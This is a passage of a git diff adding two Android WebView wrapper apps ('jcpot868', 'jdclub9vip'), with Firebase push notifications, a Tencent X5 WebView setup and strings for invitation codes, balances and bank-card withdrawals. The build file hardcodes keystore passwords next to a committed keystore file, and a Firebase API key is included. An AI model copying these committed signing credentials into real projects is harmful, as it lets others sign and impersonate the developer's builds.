androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/jcpot868/src/main/java/com/web/jcpot868/WebApplication.java b/jcpot868/src/main/java/com/web/jcpot868/WebApplication.java new file mode 100644 index 0000000..43db511 --- /dev/null +++ b/jcpot868/src/main/java/com/web/jcpot868/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.jcpot868; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/jcpot868/src/main/res/drawable-anydpi/ic_action_back.xml b/jcpot868/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/jcpot868/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/jcpot868/src/main/res/drawable-hdpi/ic_action_back.png b/jcpot868/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/jcpot868/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/jcpot868/src/main/res/drawable-mdpi/ic_action_back.png b/jcpot868/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/jcpot868/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/jcpot868/src/main/res/drawable-v24/ic_launcher_foreground.xml b/jcpot868/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/jcpot868/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable-xhdpi/ic_action_back.png b/jcpot868/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/jcpot868/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/jcpot868/src/main/res/drawable-xxhdpi/ic_action_back.png b/jcpot868/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/jcpot868/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/jcpot868/src/main/res/drawable/big_bg.xml b/jcpot868/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/jcpot868/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/ic_launcher_background.xml b/jcpot868/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/jcpot868/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/jcpot868/src/main/res/drawable/input_bg.xml b/jcpot868/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/jcpot868/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/jcpot868/src/main/res/drawable/pass_word_bg.xml b/jcpot868/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/jcpot868/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/jcpot868/src/main/res/drawable/pass_word_bg1.xml b/jcpot868/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/jcpot868/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/pass_word_bg2.xml b/jcpot868/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/jcpot868/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/shape_btn_bg.xml b/jcpot868/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/jcpot868/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/shape_dialog_bg2.xml b/jcpot868/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/jcpot868/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/shape_dialog_bg3.xml b/jcpot868/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/jcpot868/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/drawable/shape_dialog_bg_new.xml b/jcpot868/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/jcpot868/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jcpot868/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/mipmap-hdpi/ic_empty.png b/jcpot868/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/jcpot868/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/jcpot868/src/main/res/mipmap-hdpi/ic_pull_down.png b/jcpot868/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/jcpot868/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/jcpot868/src/main/res/mipmap-xhdpi/ic_close.png b/jcpot868/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/jcpot868/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/jcpot868/src/main/res/mipmap-xhdpi/ic_menu.png b/jcpot868/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/jcpot868/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/jcpot868/src/main/res/mipmap-xxhdpi/app_logo.png b/jcpot868/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..45f8213 Binary files /dev/null and b/jcpot868/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/jcpot868/src/main/res/values-en/strings.xml b/jcpot868/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/jcpot868/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/jcpot868/src/main/res/values-night/themes.xml b/jcpot868/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/jcpot868/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/values/colors.xml b/jcpot868/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/jcpot868/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/jcpot868/src/main/res/values/strings.xml b/jcpot868/src/main/res/values/strings.xml new file mode 100644 index 0000000..56844a0 --- /dev/null +++ b/jcpot868/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + JCPOT868 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/values/themes.xml b/jcpot868/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/jcpot868/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/xml/app_updater_paths.xml b/jcpot868/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/jcpot868/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/xml/network_security_config.xml b/jcpot868/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/jcpot868/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/jcpot868/src/main/res/xml/provider_paths.xml b/jcpot868/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/jcpot868/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/jcpot868/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/jcpot868/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/jcpot868/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/jdclub9vip/.gitignore b/jdclub9vip/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/jdclub9vip/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/jdclub9vip/build.gradle b/jdclub9vip/build.gradle new file mode 100644 index 0000000..0178237 --- /dev/null +++ b/jdclub9vip/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.jdclub9vip" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "jdclub9vip" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/jdclub9vip/google-services.json b/jdclub9vip/google-services.json new file mode 100644 index 0000000..56fec1e --- /dev/null +++ b/jdclub9vip/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "794063721407", + "project_id": "jdclub9vip", + "storage_bucket": "jdclub9vip.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:794063721407:android:b026558d256e27ded5470a", + "android_client_info": { + "package_name": "com.web.jdclub9vip" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB-yRJrEewWWntxCt7pzeJvEHrAace--CE" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/jdclub9vip/ppn.jks b/jdclub9vip/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/jdclub9vip/ppn.jks differ diff --git a/jdclub9vip/proguard-rules.pro b/jdclub9vip/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/jdclub9vip/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/jdclub9vip/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/jdclub9vip/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/jdclub9vip/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/jdclub9vip/src/main/AndroidManifest.xml b/jdclub9vip/src/main/AndroidManifest.xml new file mode 100644 index 0000000..56a452d --- /dev/null +++ b/jdclub9vip/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jdclub9vip/src/main/java/com/web/jdclub9vip/MainActivity.java b/jdclub9vip/src/main/java/com/web/jdclub9vip/MainActivity.java new file mode 100644 index 0000000..7c1d394 --- /dev/null +++ b/jdclub9vip/src/main/java/com/web/jdclub9vip/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.jdclub9vip; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 158; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://jdclub9vip.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/jdclub9vip/src/main/java/com/web/jdclub9vip/MyFirebaseMessageingService.java b/jdclub9vip/src/main/java/com/web/jdclub9vip/MyFirebaseMessageingService.java new file mode 100644 index 0000000..e2a6ac0 --- /dev/null +++ b/jdclub9vip/src/main/java/com/web/jdclub9vip/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.jdclub9vip; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/jdclub9vip/src/main/java/com/web/jdclub9vip/WebApplication.java b/jdclub9vip/src/main/java/com/web/jdclub9vip/WebApplication.java new file mode 100644 index 0000000..fb91afa --- /dev/null +++ b/jdclub9vip/src/main/java/com/web/jdclub9vip/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.jdclub9vip; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import 